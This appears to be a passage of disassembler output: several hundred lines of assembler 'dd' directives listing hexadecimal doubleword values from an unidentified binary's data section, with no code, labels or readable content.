		dd 58BCFEB7h, 0A1FEB4h,	22B93A4Ah, 0FDAB2113h, 4748BA00h
		dd 161B6B95h, 7C070C91h, 853045D2h, 0B8494B26h,	0B78C2680h
		dd 0DD0D88D5h, 0BD1B0369h, 42FB32EAh, 47443007h, 0B0680AEh
		dd 7A50081h, 2FDB5E10h,	2B74B7E4h, 58636E30h, 3F5AF08h
		dd 0A49C4EC8h, 0C4D0B49Eh, 0E174A036h, 4B409701h, 0E246E68Ah
		dd 6BFB80D6h, 0B64D1Ah,	948E3324h, 0E6094C10h, 0CE2EC800h
		dd 396E512Fh, 0D0D90777h, 104DE1B5h, 0B829F8C3h, 0B000A72h
		dd 732BCE24h, 7C460414h, 6FD20394h, 4B312517h, 80B47EF1h
		dd 681BFAB8h, 240F4F23h, 1E6C428Ch, 3E1A4B16h, 6AD284A0h
		dd 71001B23h, 995189AEh, 0F6689Eh, 1584EBCEh, 727D8747h
		dd 160A22E0h, 9C57F2F9h, 6470A880h, 7D28C43h, 0A28045C2h
		dd 0D00744C5h
		dd 65821A40h, 0AFD3E31Dh, 523DA4E8h, 0BF83034Ch, 0A8BA9697h
		dd 2D8084h, 29D1326Bh, 0FA432513h, 0A214004h, 98F4DE06h
		dd 15450C90h, 1A11117Eh, 78E413Fh, 86B770BCh, 2E08F4D6h
		dd 8E58FDB6h, 65809672h, 46DF216Eh, 99CEB131h, 93401898h
		dd 3FF155Fh, 0BDFE3F7Eh, 0A7C1CC7Dh, 9A14244Ch,	0DF673Ch
		dd 668930E3h, 0D31086h,	4FE25F55h, 0B3F236F7h, 2B912260h
		dd 5D2E17h, 5049FCB5h, 522FBD92h, 15C09501h, 5871A1E7h
		dd 48371530h, 82675C78h, 61D4BA6Fh, 20D62377h, 1A5261D6h
		dd 10F410D4h, 2369850Fh, 82A470A0h, 31002401h, 0DFF2AB04h
		dd 0FB2D56h, 0F949DE07h, 471476F5h, 0D55616F4h,	2DC6BD8h
		dd 982B32CDh, 800A63D8h, 5D00CE06h, 6CB4C1C6h, 450DF76h
		dd 0BB36BAFCh, 8A608026h, 60072C3Fh, 76866379h,	0F825E6h
		dd 1DAD1C04h, 7B629D02h, 0A6697900h, 13FD530Fh,	61820024h
		dd 58CF76DDh, 57001EC0h, 60BBD22Ah, 3AFC75Eh, 5268E1A6h
		dd 1AB04DECh, 4F3EF17Dh, 0A8EE00D3h, 8417CD0Fh,	0A1B907BFh
		dd 60522B26h, 18CABBBDh, 9F09DCFAh, 8010A616h, 0A5082A2Ah
		dd 330E0192h, 87186C1Eh, 831CF05Bh, 0CBC00D00h,	0BB37DE8Dh
		dd 0CC9400B9h, 0C453667Fh, 0CF0CCE1Bh, 704EC352h, 0F2B100A6h
		dd 0B5949648h, 63098D18h, 80972BABh, 59419AE8h,	0F212004Ah
		dd 330FCD92h, 6A017F57h, 1A80C672h, 84487AC3h, 12E000D4h
		dd 4C57E5FDh, 1FE02EBCh, 0F9C60B00h, 9A6D1AAFh,	0CD9B07E1h
		dd 8526A47Eh, 0C046A71h, 10EB3FC8h, 91F200B9h, 0A081626Fh
		dd 50F0BA97h, 1E78B4F8h, 0C49C2018h, 31A120h, 0DB73B9E0h
		dd 0BB07348Fh, 53CA1800h, 0C12B4006h, 1AC40043h, 0D7DE6892h
		dd 54248A02h, 1F0085D2h, 1C0FD81Eh, 5CE1F769h, 0B692E8F3h
		dd 21F40051h, 4A969FA7h, 723E1D83h, 4EA08EE0h, 53864035h
		dd 1C29F9h, 81162120h, 0CDBEDD4Fh, 33E93Fh, 761832A2h
		dd 3C35EF3Ah, 0E00F243h, 0D587A0E2h, 2B0077B5h,	0D264AD70h
		dd 0E3F2874h, 0DEF85F9Bh, 3962ECE0h, 3C0E5BA7h,	0A02F64C6h
		dd 1E872330h, 1BF65Dh, 21349F5Ch, 0E0FDDFF3h, 10609800h
		dd 40E5912Eh, 720D0054h, 68BE35E8h, 21000880h, 441C2D0Fh
		dd 7506BBCBh, 0CB12869h, 0CE1F2CB4h, 156400F7h,	0DD74CC91h
		dd 7543593Dh, 7FCA8200h, 11301E79h, 16F0B56Eh, 18CFD800h
		dd 0FAFE1070h, 4A1301A6h, 9AFCA832h, 719080B4h,	2D9F3BD5h
		dd 8AF00BCh, 3F1BE1D7h,	0A4021636h, 6E536556h, 0CB1C40C3h
		dd 8A779Dh, 81E3D0B3h, 0A22A7ED1h, 2200F87Dh, 36DE4A4Eh
		dd 397C7A74h, 0E307C60Ch, 0C01E7750h, 32CA6225h, 9B8C7307h
		dd 2F10096Ah, 953DEFh, 7C24239Ch, 0FD867876h, 130BCC00h
		dd 2E5FB820h, 98402858h, 375000B0h, 0C2768CACh,	9D0390BCh
		dd 8D6A7EE2h, 2D4AB0C5h, 7093000Eh, 0A623FDBDh,	0D2005F59h
		dd 153DF0FFh, 115219h, 974B3294h, 3FBF6AC7h, 0B41CFEF8h
		dd 0FF4296E2h, 80B3766Bh, 8882218Ch, 7DEE0073h,	0D85ADF47h
		dd 9D0001D1h, 0A5C5716Eh, 1D9FA142h, 8E6F89BEh,	85A0163Ah
		dd 0ED0954A9h, 0D5B30400h, 126AFA34h, 58B4000Fh, 0D1442F3Dh
		dd 150069EEh, 2D6F7B9h,	0EB49A9h, 0BFDAA74Bh, 8F791117h
		dd 0AA603600h, 0A1095062h, 33781308h, 464900A7h, 118999D4h
		dd 39F4D0A0h, 0E5220507h, 0DB20CF7Fh, 122102h, 0DC258E8Bh
		dd 5F9CBA98h, 0D8B6B330h, 3E27EDFFh, 0F8500684h, 0E86949EFh
		dd 7F2AB500h, 40D72116h, 77FE4603h, 96EA02h, 0F411C238h
		dd 61B98EE8h, 0BC4B2200h, 1DAB2C9Eh, 19EA0012h,	798C440h
		dd 0A69054F2h, 5FDD7117h, 876BE600h, 0F484620Eh, 82A2009Eh
		dd 0E66365DBh, 81003EE7h, 74EB44ECh, 0B33513h, 0B6FEF9B2h
		dd 37B430D8h, 5EEBC00h,	1BF43ACh, 0DE513F56h, 0FF007B3Ah
		dd 0A2F63B17h, 0A9008EF0h, 1AAF999h, 0EF53D44h,	96984B55h
		dd 0F7882A0h, 3C00FF4Ah, 0CE7A358Fh, 0D609F8h, 0BE76B290h
		dd 9A972E9Bh, 1E26A700h, 0C881D8C4h, 35651E39h,	0FC017CE4h
		dd 0B0B70FC6h, 0E4C2E94Fh, 80AB91F7h, 385FFC0h,	5C219201h
		dd 0E65BF6C9h, 8388B041h, 487C42F8h, 0D1008E9Eh, 3EE28AF3h
		dd 9209B30Bh, 80D2C73Bh, 0D6B890C4h, 2EF8FA35h,	2271FCh
		dd 37EB3BD3h, 870095F0h, 403452A2h, 5F7C08h, 0B5BF717h
		dd 5DF5B0EFh, 6EBEE400h, 26FDC3A5h, 0AB87002Ch,	9024C78Ah
		dd 0C100B0EDh, 3EB67E05h, 4C3B4BDAh, 0B2CE4CAh,	822A03ECh
		dd 59C1BB80h, 605CECD9h, 9C856100h, 1B3275AEh, 0DAC1121Ah
		dd 51D70FE5h, 87EE25E4h, 7BE45094h, 90188A70h, 0BB20DEC6h
		dd 98DA009Ch, 2FC9613Eh, 0AC00879Bh, 0D47CE77Dh, 108549Dh
		dd 1DD023ADh, 0EC22B4CAh, 0B000D9FBh, 35AE4A0Eh, 2431ACBh
		dd 0C4F195D0h, 7C40A665h, 0CF3D7B2Eh, 0A7D900CDh, 0E0FCAB7Eh
		dd 0CBB50066h, 44AD4933h, 0D703878Bh, 7883A341h, 6095A08Ah
		dd 0D7614CF2h, 0D4F62C00h, 0C6E8114Bh, 7E841407h, 72502256h
		dd 8E829Ch, 610370AEh, 628F5389h, 0DD778600h, 4181D09Eh
		dd 0D6D7002Ah, 69FB906Bh, 44008FBBh, 0CEBF4DEAh, 0BDA354h
		dd 29EFB8C1h, 7D020D39h, 72A43838h, 0AE948600h,	0D1A91E47h
		dd 9F1814BAh, 0EF00687Fh, 6B57873Bh, 0AF0E2402h, 0C0E43D5Ch
		dd 0E76E6771h, 32E9002Ch, 8F8AA1D7h, 0A2E892D9h, 0E3621500h
		dd 0BDB0EF5h, 0AA6601E5h, 30D67585h, 0D05220CFh, 0A4BB2B07h
		dd 0EDB0492Dh, 772CD48h, 572C70D9h, 0B58A00E3h,	0A013623h
		dd 76DAC5FBh, 88F8FD47h, 1CB7B4Eh, 9180B82Ah, 307736BDh
		dd 40ED714h, 3D3E2D3Ch,	31FC0843h, 0B442C918h, 125D5B00h
		dd 61A5C800h, 2E972D24h, 0C773040Dh, 0C0E915A1h, 6CDE36C2h
		dd 0A6E1400h, 841697C5h, 421074Fh, 701BB9AAh, 0FBFCA172h
		dd 870207E4h, 3845CBBAh, 0C044C840h, 0B5510746h, 205B8810h
		dd 929AE4A7h, 5410A9h, 3A5824A0h, 0AC3AA926h, 1324A4A4h
		dd 99D40028h, 0EBA50A7Bh, 6700787Fh, 4A9F439Eh,	3413F1h
		dd 141A934Fh, 0E191BEB6h, 5B07D10Eh, 0DF3F80ABh, 70C0BDCh
		dd 643C742Fh, 0E58370FAh, 0E2EC5E4Eh, 6F00F4FCh, 8577D082h
		dd 2E0E678Ch, 1F8F51Bh,	1FC14BFh, 4078C95Fh, 196F5EA8h
		dd 17D25D3Fh, 0FF0089B1h, 439AE3ADh, 26D1C341h,	310B5081h
		dd 80CBC51Dh, 6FB2C49h,	6EC6008Fh, 603E1E34h, 0CA00EF53h
		dd 8781EBDCh, 84B5C7h, 1409B470h, 51F2A947h, 0E4004376h
		dd 0B1DEFF8Dh, 905F88Ah, 577890FCh, 0D52DE280h,	5B5CAA2Eh
		dd 2542039Bh, 80DEA596h, 0CB3963h, 3B30EBD1h, 10572EA2h
		dd 80970738h, 90BE0F1Ah, 7F54763Eh, 619A004Ah, 6FADA4FEh
		dd 4F032785h, 3E2B4E2Dh, 98EC09Eh, 72300F10h, 0A600812h
		dd 4E3729A2h, 0F901C67Fh, 4F7B452Ah, 1DECC71Ch,	0D4CA008Ch
		dd 5BF40739h, 5700347Ah, 0F018CD82h, 7CFAE5D9h,	67741FC7h
		dd 0D4B3C0B7h, 1BD3FF2Bh, 95012172h, 7E344A55h,	9520FAD8h
		dd 539D02D2h, 1B103707h, 0A151B4A0h, 873CBFCFh,	16FC8777h
		dd 5F44CCE1h, 0E67CA0h,	0B98904DAh, 0A08A7547h,	0E885F30Bh
		dd 0F9C08099h, 5B8D5Dh,	0E672D49Dh, 0C9F4058Bh,	5A02F5F6h
		dd 9F7548A2h, 31A44067h, 3F7DFE42h, 0F28366ABh,	6CA2BA22h
		dd 0E2208960h, 3BAA74A6h, 91003D66h, 136CA3B0h,	8518033Bh
		dd 8D306228h, 0EFDE0093h, 0E64B350Eh, 9D0061CDh, 0F6B3AB90h
		dd 146DE9h, 0A3C2D069h
		dd 747D2CF9h, 70D53704h, 0DAC3F713h, 0E9CBB014h, 0CB500D2h
		dd 3FF37FD9h, 7A00E523h, 0F4FE7EE7h, 0E1312Fh, 0B53DC1FDh
		dd 678ED7E0h, 8B521300h, 57E7820Fh, 0A877A1h, 6D9B8AC8h
		dd 6AA22AE2h, 64C5B507h, 9E103F82h, 0C97861h, 0BDB78B6Fh
		dd 0E290EC5Ch, 28504600h, 63D13D26h, 6AB00089h,	0B6DF9CB1h
		dd 0F400B24Bh, 646599E5h, 70CDBF06h, 0E1D500D2h, 0D9BB19B7h
		dd 0D60F222Fh, 808A2C38h, 0A96D52B8h, 0E1FC1E67h, 0FA1EC081h
		dd 8FC497A5h, 35076176h, 1C5D86FBh, 0F7A15BE0h,	0E1560304h
		dd 0C1C91E07h, 0A3249B98h, 29CE1930h, 76B789h, 0BC5BD563h
		dd 0BF33FA54h, 4F005EE8h, 6DBA1CB5h, 0C4D86Eh, 64055FAAh
		dd 237C21BCh, 7406EE79h, 4C24D515h, 1AC00368h, 78B0FFA9h
		dd 5F8EB205h, 0BBC0B9AFh, 3EBE94BFh, 0AE0326F9h, 207F0E78h
		dd 33572DC8h, 1C01B00h,	56068688h, 0CA0A0013h, 0D5BB538Ah
		dd 507148CFh, 80D7813Ch, 24FE0849h, 0E7C18Eh, 0E90B8938h
		dd 0C764B197h, 72165A00h, 50014994h, 45D30083h,	0A95381D5h
		dd 0BD0A6E55h, 0CDF61D6Dh, 0C01B430Eh, 0D44C2EC8h, 0B3EC264Eh
		dd 3FED00CFh, 26F5FDA5h, 88601800h, 22BB8E08h, 4ED53009h
		dd 0FC248420h, 2A52C09Dh, 0CC1F03FEh, 77A7F816h, 30052000h
		dd 0FB1DE68Fh, 6907000Fh, 8E094357h, 7D04A340h,	7F232DE5h
		dd 4B412AC0h, 0AAC900D5h, 0E122AF71h, 4000BD09h, 1329FEDh
		dd 0D227DAh, 0DF8CA6D9h, 0FE4C486h, 20E6A8CCh, 903C004Fh
		dd 0F50C37D2h, 6008CDFh, 2B43EF70h, 33AAC89Dh, 80B8D793h
		dd 5483EC0h, 44947601h,	0AAD115C3h, 8050B0B0h, 0C9B0FF53h
		dd 8A74A401h, 0AAF06DABh, 0B5EAF8h, 3375D196h, 0A7ED1CA6h
		dd 0D2380E67h, 0B707B813h, 0AB3CEE03h, 0CB081801h, 2FC720F0h
		dd 5C524100h, 9F724EAh,	276EA07h, 0F83F129Ch, 0A8E01151h
		dd 9707602Ch, 0C3B3E84Ch, 455D6270h, 0A6741816h, 0BF2E84B2h
		dd 2DD8500h, 0E2A5B4DAh, 67EF1EEDh, 5DC4095h, 372357FBh
		dd 0AACE4103h, 788968E9h, 0CBFC39h, 8899F67Ch, 0C04A2AD0h
		dd 7E45104h, 0C0BE9A68h, 21709C34h, 7178239h, 981FF8FBh
		dd 9138AB83h, 0C40908Bh, 0EB77A3h, 231B5C51h, 0B6189AAAh
		dd 0D5208560h, 13C97AD6h, 18CB31DDh, 0E561195Bh, 0F54ABD0Fh
		dd 74C9C0C1h, 38052C04h, 7F465F6h, 0B3E54D86h, 0E38C50F5h
		dd 6F0982C5h, 80FBD65Dh, 6D6AC8A3h, 0BCFF01C4h,	0A522391Ah
		dd 3FC3D233h, 70D201Dh,	70309380h, 0FDC8B2h, 9E203E26h
		dd 0C54ACEEAh, 31B6510Ch, 5550C9h, 69CC680Bh, 7F68E63h
		dd 188F153Ah, 0A320C575h, 111600B9h, 32B0CC4h, 27025BB3h
		dd 0F202E385h, 43848097h, 0EACB1F70h, 4C4A140Dh, 3F0010D5h
		dd 0F7FC83E5h, 0FA01A8DAh, 13AEF5DCh, 1080E8CEh, 0B1941B06h
		dd 0DD07687Eh, 0E7FE04E5h, 0F5D243h, 8BCCF020h,	0B5DB1E0Eh
		dd 0F6DD051Fh, 23E89143h, 0E0F78840h, 0A5A4001Ch, 0E143FC3Ch
		dd 8712862h, 0E3D383Ah,	58E6F2F9h, 861270F9h, 6168E80Eh
		dd 648FE86Eh, 0EFC4543h, 3A118C01h, 0E740AB9Bh,	78D037EBh
		dd 56B100C8h, 426BA4B2h, 855424ECh, 5C4380D4h, 0D443E507h
		dd 3131641Ah, 7E009085h, 0DB008958h, 142FF78Ch,	0EDFC82h
		dd 1BCEABDAh, 0FF43063Ah, 6C4E0A00h, 88521F7Ch,	79420B9Ah
		dd 0C78EB32Ch, 23F00D2h, 7E20B8EEh, 9BD73800h, 4FE0C951h
		dd 0A41F0AC0h, 1878650h, 21530A01h, 0B99C60EEh,	0BFA9BD00h
		dd 76E130Eh, 9CEF076Bh,	60D45203h, 36A66F74h, 1ACB48h
		dd 218D4A63h, 0BFF32Fh,	76D464D0h, 42BC58B2h, 0F07C8398h
		dd 0C2757900h, 2F04C599h, 0DF038h, 0C13AB012h, 8D37286Bh
		dd 0F1FC9107h, 34C0E6ACh, 0FB9D08Bh, 0C9993987h, 9D8FF301h
		dd 0B49EE084h, 0ED284760h, 7688CFEh, 0B741CCDAh, 30C9E769h
		dd 0DE669DAAh, 0C238A100h, 1CF05C97h, 303DE276h, 0BC086E1Ah
		dd 4CE691EAh, 0F45B1D0Ch, 7EB34885h, 204B3F0Dh,	8FBBF300h
		dd 7D7B01ABh, 67167700h, 9DE6FAFDh, 226400AFh, 3779F0D4h
		dd 39F638EDh, 0E32010Eh, 0B31B80DEh, 7BA0BD8Bh,	66A302Fh
		dd 962437A8h, 5BEC68C0h, 3C67CABh, 87508B7Fh, 3DC3ACC8h
		dd 0FAC05FA8h, 0C72FE707h, 0B8809138h, 590F9Eh,	0E6B169FFh
		dd 28933064h, 457A1E1Eh, 1306DA80h, 793BC580h, 76E90604h
		dd 792ECBF1h, 74C79802h, 0A9BD5057h, 0C0228E98h, 81601B36h
		dd 4E3C00C5h, 0E266E926h, 46E18E55h, 0CF0059B3h, 2BD22C12h
		dd 7217E33h, 4C27E13Eh,	307717D0h, 0E3D7578Eh, 401E74E0h
		dd 2C1D190Dh, 8917A840h, 4B96DEh, 73EBB049h, 59E0FD41h
		dd 76AA3300h, 32AC2C7h,	13860096h, 0A58E6F0Eh, 7D0064F9h
		dd 95924582h, 3BFECE6h,	0DD8F9A2Fh, 0C02E0860h,	813BA506h
		dd 3EE6B6C4h, 18803884h, 66D75293h, 0E318C1C7h,	61F0A9B9h
		dd 1F870135h, 9273849Bh, 2F8C40DEh, 2D48C9D9h, 0E0C5155Ch
		dd 1F04032Ch, 0D43EF9ABh, 89CD2F30h, 84AC5580h,	0BCF38B10h
		dd 0AFF85608h, 0BFFDA188h, 8D53B11h, 8AABE78h, 1743855Ch
		dd 0B1B11046h, 2B3784B2h, 7A738080h, 59A26747h,	5E2747Dh
		dd 5804B778h, 888075B0h, 0A02B603Eh, 407E3B2Ch,	0AE420DC6h
		dd 0BE632F08h, 6DC1E04h, 8AB46D4Ah, 43FCB4C5h, 0D0608E99h
		dd 2301A450h, 0B7B861h,	0F584662Bh, 2C90C9F1h, 3F5EB114h
		dd 80B43BC4h, 0C456B875h, 0E6213C1h, 8D012957h,	4FDD0350h
		dd 0F7392F5Bh, 7F0090AAh, 0F6CB5D91h, 785FE2Ch,	421899B7h
		dd 5A1EF02Eh, 0BA139190h, 30520592h, 0ABC11C02h, 867440FBh
		dd 401313ACh, 6D042014h, 0D500A9F5h, 82445E31h,	0EEEF235h
		dd 4576DB37h, 75A12B60h, 40480151h, 5DF2859Ch, 0B479D70Ah
		dd 0BCB24905h, 46F09805h, 7C68BC00h, 0B0993CF8h, 603E7FFAh
		dd 2AFDD17Bh, 763D6D6Bh, 0E22C800Dh, 0C5B03705h, 2D9124FAh
		dd 0EAA98034h, 0C9565812h, 76349703h, 0A82AA238h, 0D3E4DBh
		dd 997565A1h, 0E2FD7B1h, 449EBD0Ch, 7D2BB6DEh, 6F3F0014h
		dd 0E5AEABADh, 773DFD16h, 0B5C68255h, 0E04730FEh, 0C02B8D5Ch
		dd 37F18CD0h, 0C30074D2h, 2D260843h, 989F0760h,	7397E83h
		dd 0BD87691Ch, 48C7B0DBh, 4D02E3EFh, 626A0496h,	0CAC3E4h
		dd 88F62EE1h, 0B10A1CB3h, 0C676E13h, 4995F200h,	3C75548h
		dd 5CFE0D77h, 0A480BA46h, 4006B3C1h, 0B7E1FC43h, 0B8BD0091h
		dd 152DF045h, 3C3091E4h, 291F18D5h, 2C889A81h, 3D8659Fh
		dd 0D7639187h, 34932000h, 737CBB6Ah, 71F00F3h, 2AED2B1Ah
		dd 0A812C43Fh, 5040FCBFh, 33D7A55Ah, 4C46001Dh,	0DAC149A9h
		dd 0DB009776h, 0C33F2F37h, 5D762h, 0B7C90BBBh, 7E997AE8h
		dd 3CB61207h, 19606F75h, 32FB4Fh, 8552F196h, 0FE8CCCD7h
		dd 0FD93D00h, 6F16865Fh, 510B00C8h, 35A3C215h, 64006E76h
		dd 0DD4BF439h, 0DECE7Ah, 757DFA0Bh, 0FE0E83F1h,	15578D00h
		dd 0D3E67B04h, 0E35900DEh, 54AAF3E7h, 74E6B37Fh, 93CDFF00h
		dd 6877DD7Bh, 6DB8004Fh, 24C131DEh, 720040A4h, 85162981h
		dd 5AEFFBh, 3D4C860h, 0A20F3F78h, 57DF4B00h, 0F1B6BCA1h
		dd 8AEB0381h, 581568FAh, 0B2119AA8h, 1891D300h,	51F24F0Bh
		dd 0E92158E3h, 0D659E00h, 387027F5h, 5755DE03h,	0D00CD5D9h
		dd 736A5CEh, 3D24950Bh,	0BB1E302Ch, 0FE00E144h,	5253EAB3h
		dd 0F1037D3h, 7EBDDB48h, 1F94716Ah, 0EEC20FB5h,	8C9ABB60h
		dd 7B3163D7h, 16871833h
		dd 88C1044Fh, 0F096F04Dh, 640127CFh, 0C706E81Bh, 0A0C8B92Ah
		dd 8D2E00AEh, 757286A2h, 0C10C79F8h, 28211ED7h,	0D5FF4493h
		dd 0F77ED844h, 1169E611h, 571034CFh, 0A308362Eh, 8489AA86h
		dd 0F1C02C5h, 0C328D1DBh, 40CFF228h, 4B62C0F9h,	2132B729h
		dd 8C54DCB4h, 29150250h, 8311E197h, 2F4511FEh, 57CE518Fh
		dd 6DDC0870h, 86BF1026h, 22A10962h, 0D3108C7Ah,	0B281A60h
		dd 0C68E7E64h, 2976C679h, 20B55B22h, 0E5FCFA67h, 0FB269000h
		dd 527B7899h, 6D4D0EDFh, 70EEF39Ah, 2691C780h, 39003BE4h
		dd 42BA018h, 15B73F7h, 3C658EE6h, 0D4C0B241h, 5E7F3074h
		dd 0C00D1FCh, 4EB0174Ah, 3F75EE4Ch, 28086BAh, 8573C24Fh
		dd 0B27BCB26h, 0D7445700h, 891BF8B0h, 168E68Eh,	9DD1113Dh
		dd 0F01330B3h, 0A500DD3Ah, 292BC1D3h, 4941E0h, 0BFCCB669h
		dd 867C739Ch, 22F43C01h, 19050DFFh, 3E9B57C8h, 94262B5Fh
		dd 0BB1800D5h, 22778216h, 1E563Ch, 2FA89F41h, 1EEB8CCBh
		dd 406FEC85h, 0BD5EB759h, 0FC482E83h, 9A0E6040h, 3C8D0229h
		dd 0C19FEC41h, 0C0B301F4h, 0D05A6452h, 0BC1CD84Eh, 0DE07E16Ch
		dd 6870C7F0h, 0F7BA0Dh,	8E9169FDh, 0B4B007DDh, 387C6602h
		dd 60578362h, 0ACBD5Bh,	42E5BFE0h, 5CB2563Ah, 6C33E20Ah
		dd 0E701905Eh, 0EE038077h, 3F73B7C8h, 0D5872AA9h, 40435F10h
		dd 13703F93h, 8C94C300h, 0E277ED8Fh, 0EBA6016Eh, 2F153E7Dh
		dd 18B3EB44h, 4E9FD6C8h, 0ED1D3373h, 55D84284h,	1DEF309h
		dd 7750E1BCh, 80EB6994h, 9C73C818h, 0C758AFh, 0B8A76D83h
		dd 0BC6ED74Ah, 0E9D84000h, 92A890CCh, 97F64Dh, 9AEEAE0Ch
		dd 1418B2ABh, 40885060h, 0E5AD7Eh, 2655F96Bh, 2E6ADDA5h
		dd 494C1D16h, 8E428800h, 48C1D75Ch, 0D10047D4h,	0AF13F573h
		dd 11010D31h, 6E78A63Fh, 0E02FEF3Dh, 70C3A42h, 10E9201Bh
		dd 33D90E12h, 54837CDEh, 3CB8FA79h, 0F898F4C6h,	4C00A870h
		dd 8D6CD423h, 2E0E5186h, 335F74Eh, 848ABA6Fh, 0E14172A0h
		dd 0DEEB9E00h, 33AA2788h, 619A0097h, 19D68D0Bh,	140084A0h
		dd 93A154FDh, 248001F4h, 3D2637B2h, 0CD4F300Fh,	0CAA9A3E0h
		dd 0D3FBA72h, 2DFE80E0h, 0C06B0A2Ah, 0F4470009h, 0E273B628h
		dd 40009380h, 9EEB4A87h, 7863D0Ah, 0F035DD4Dh, 82F4C0BDh
		dd 3200FA07h, 0C99BDB20h, 4F897Bh, 0BF5D1873h, 5EF87727h
		dd 0E2EC7C00h, 0E16B3372h, 251A00C4h, 775F9C7Fh, 8C1E3A69h
		dd 0B4066CC9h, 20E839h,	0BB6BFCEAh, 1D2C5DFBh, 97508900h
		dd 0A95FF574h, 402800C7h, 0B66ED1CAh, 0C00E851h, 4B08A872h
		dd 0A2A3C8h, 52F52719h,	5F51771Bh, 79A0C504h, 0F8901DC0h
		dd 67CAADh, 0EB9D7DD3h,	0E6E3F450h, 69A20900h, 9ED63E7Bh
		dd 13F2001Dh, 9AA772C8h, 84DC55D7h, 7D00F43Ch, 1F1D6204h
		dd 1F06ABAAh, 0DE4656ECh, 7A920099h, 784BC8D1h,	387DA800h
		dd 8019B68Dh, 32810001h, 0B26A3D2Fh, 9A0037F7h,	8BA7C382h
		dd 21C2FDh, 0C52549E2h,	6C76AF1Fh, 770041F8h, 0FCBB4562h
		dd 39144Bh, 5EB9ED97h, 284C99BEh, 788E8200h, 0FE619B22h
		dd 0A07D018Ch, 0C0185A10h, 9C50F48Dh, 39A6B000h, 0E835914Ah
		dd 206905D1h, 87893C47h, 0C2A5F086h, 0FB005C93h, 0AC8FE643h
		dd 544A29Bh, 0E02CB145h, 37D10FB0h, 83547220h, 787BDBD3h
		dd 0A362C400h, 328D3A39h, 417E99h, 8A8066E4h, 68B852C7h
		dd 0F21F71ECh, 0E012D5ABh, 698F0444h, 0D33565C0h, 61BE0E6Eh
		dd 0F34BABh, 276DA168h,	0FC9003E9h, 0F1EBBF00h,	2BF5B61Dh
		dd 0D5870017h, 7EDA65CAh, 0E1001EEAh, 24C63ABAh, 0A0C0D34h
		dd 480350BEh, 0E8C880F4h, 76BAC06Ah, 0F11C8000h, 4652FAE7h
		dd 1E5018D3h, 1F3934CCh, 69A81800h, 2312119h, 0A2E70035h
		dd 0EDB792A1h, 0CD0371FBh, 93324D5Bh, 2153B10Dh, 90EB84D8h
		dd 0DE9701E0h, 946EA2C4h, 2C55E47Ch, 16786000h,	2ADB04F0h
		dd 0FE0D0E0Eh, 0C1A0E992h, 8E93583Bh, 0C701CAF8h, 0EF0FAE7Ah
		dd 16F85489h, 0AA73DFh,	1ABD2D96h, 0B13340C7h, 0C646C300h
		dd 34E68FCh, 1E9CEA0Dh,	72529D5h, 80AEA205h, 8C37F0F7h
		dd 0D9036302h, 607C2760h, 140E44h, 0C50985B4h, 33C06245h
		dd 6CE46450h, 0E42CF500h, 98FF1E3Dh, 5B050003h,	7338DE3Ah
		dd 0D403B552h, 0EAAAA31Fh, 76908002h, 440E0006h, 0F8F4748Fh
		dd 0F2004D3Ah, 0E2B392DCh, 2EC05BB6h, 39F4E1A9h, 888E01F4h
		dd 138FA111h, 7A6BCC79h, 5B672D00h, 201E2CFAh, 0C6CEA0E1h
		dd 0D74800B0h, 0CA30391Ah, 0B4004273h, 21E3F864h, 2E74B3BFh
		dd 0BC8E41h, 33D0127Fh,	440FDD85h, 0A262C9h, 6FCED734h
		dd 0F0A9005Ah, 90316BEEh, 1A038B4Ah, 0D29F2A8Ch, 24E3814Fh
		dd 4300EC33h, 0FDB96FF0h, 9B00E0FBh, 2550BC3Dh,	4FDA23h
		dd 94EE55C9h, 0D435033Bh, 5FB6F900h, 0DBE3CC51h, 5370ECh
		dd 9BEEAC1Ah, 60036270h, 0D2CECA00h, 6A45EE4h, 97A90F5h
		dd 52DC1CE1h, 0F9582500h, 83F6F857h, 0FC37D000h, 2DC36BD4h
		dd 8099B02Bh, 1D6E3BD8h, 80C05924h, 144C9A2Eh, 0E500B709h
		dd 5EFFB8EAh, 1FBF7BD5h, 193238Ah, 9D281192h, 1E82C08Bh
		dd 0A755807h, 0EA22EDBh, 239CA067h, 2CB54FFh, 0BE5DE23Dh
		dd 8A40AB05h, 5F009FBFh, 0F00A3860h, 1D36D2Fh, 74B2A881h
		dd 0DC40BB5Eh, 0D03FC159h, 0DE00FE18h, 0AA4E6C8Bh, 0F84B0Fh
		dd 9601E7E0h, 88B23220h, 3D68A00h, 0D47BCD3Bh, 0CF79383Dh
		dd 5768FA00h, 86B5B3C9h, 0B48A4C00h, 0EDDF639Fh, 44E5077Dh
		dd 0FD3943Eh, 43362CC0h, 91008705h, 314FB0A5h, 2C6F6h
		dd 6C66BDCCh, 3EA1E270h, 0B348C500h, 3C0C4DDAh,	2B531EEAh
		dd 0B954006Eh, 58C36A94h, 3EAA3900h, 8C630DACh,	0EFC00065h
		dd 0EDCB127h, 7900B728h, 6F962B61h, 1FEB5514h, 0C11BA49Ah
		dd 8B8DABB8h, 6C19F059h, 543DB10Eh, 0BE920040h,	1A66A83h
		dd 0DF521053h, 0D534F69Eh, 6415C041h, 8C497B02h, 0E07F0D5Eh
		dd 59F2D4h, 48CE1E5Dh, 0EE4C8B4h, 3D0CB306h, 3D742F5Eh
		dd 700DA97h, 0C2A488C3h, 0A501CDD3h, 0FC350C6Ah, 0C0F67667h
		dd 0CC9339h, 95685C7h, 25E10D3Dh, 38045507h, 1AB07F44h
		dd 1991076h, 0B48D6543h, 0E0C180C6h, 0FA00EBE2h, 0F945AEC5h
		dd 1E589AAAh, 40D5A7DEh, 0C761D3A5h, 660360CEh,	2EE1793Bh
		dd 3ED8138h, 0B66C60h, 0C12CDAAAh, 0E1E7CA25h, 9455A603h
		dd 0F35B6AB5h, 0E01BB22Ah, 5C3D2Eh, 14B8ED73h, 0E8833A75h
		dd 0E4958607h, 0D7329B7h, 27B3882Fh, 1DE0F1h, 0B6C7BE4Eh
		dd 1C1695E8h, 0B00E678h, 7EFA99CBh, 388B7755h, 0FFB719h
		dd 6CF11E9Ch, 5224063Ch, 13BF3200h, 12497AFCh, 6D9D00F2h
		dd 76449E73h, 0D307F538h, 96093984h, 0A1709350h, 0A80300A3h
		dd 0FB91790Eh, 6700C902h, 3E308487h, 0E8A7C1B6h, 0AC0D00E7h
		dd 5FF35ACEh, 64006A88h, 470BCFBCh, 0F50068Dh, 71ADAB1Bh
		dd 387E3640h, 0C494E022h, 0C6C20540h, 45DC0762h, 2247617Fh
		dd 0B7C058E5h, 2448C0FAh, 0FB200E00h, 8A858080h, 168681FCh
